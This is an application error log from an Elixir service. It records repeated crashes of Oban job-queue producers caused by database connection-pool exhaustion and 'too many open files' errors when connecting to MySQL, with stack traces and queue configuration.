State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:40:15.239628Z], limit: 10, uuid: "2e77b713-18a7-40f0-9799-dc76daf5f2df", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:15.239634Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71014>, refresh_timer: #Reference<0.2525715032.1099431938.66327>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:40:15.238992Z], limit: 20, uuid: "8b3028c9-b23e-4739-9476-4df3d76e8136", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:15.238998Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71011>, refresh_timer: #Reference<0.2525715032.1068498948.70971>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:40:15.239187Z], limit: 50, uuid: "f0e762d6-078b-494d-91e3-0c8e051b9018", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:15.239193Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71013>, refresh_timer: #Reference<0.2525715032.1068498948.70980>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:40:15.240137Z], limit: 5, uuid: "69abde23-af7c-43db-8f1d-a1ea2c375572", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:15.240145Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71012>, refresh_timer: #Reference<0.2525715032.1068498948.71001>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:31.885000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:35.131000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:35.766000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:38.177000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:40:27.239247Z], limit: 3, uuid: "4e56bc4f-4f00-4710-8879-4a0de5da6d1e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:27.239256Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71376>, refresh_timer: #Reference<0.2525715032.1099431938.66359>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:40:27.239770Z], limit: 5, uuid: "b3ff6039-0425-453b-b40e-bd40381f9be0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:27.239776Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71374>, refresh_timer: #Reference<0.2525715032.1068498948.71341>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:40:27.240367Z], limit: 20, uuid: "8d546385-20e1-4f3a-a5c9-4c8d690508fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:27.240372Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71372>, refresh_timer: #Reference<0.2525715032.1068498948.71349>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:40:27.239756Z], limit: 5, uuid: "287d08b9-4a5f-48a6-b3e1-3b3f5dde383d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:27.239761Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71373>, refresh_timer: #Reference<0.2525715032.1068498948.71340>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:40:27.239863Z], limit: 10, uuid: "449aa3da-5f73-4be8-bdc6-00b26a9f0ba9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:27.239867Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71375>, refresh_timer: #Reference<0.2525715032.1099431938.66370>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:39.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
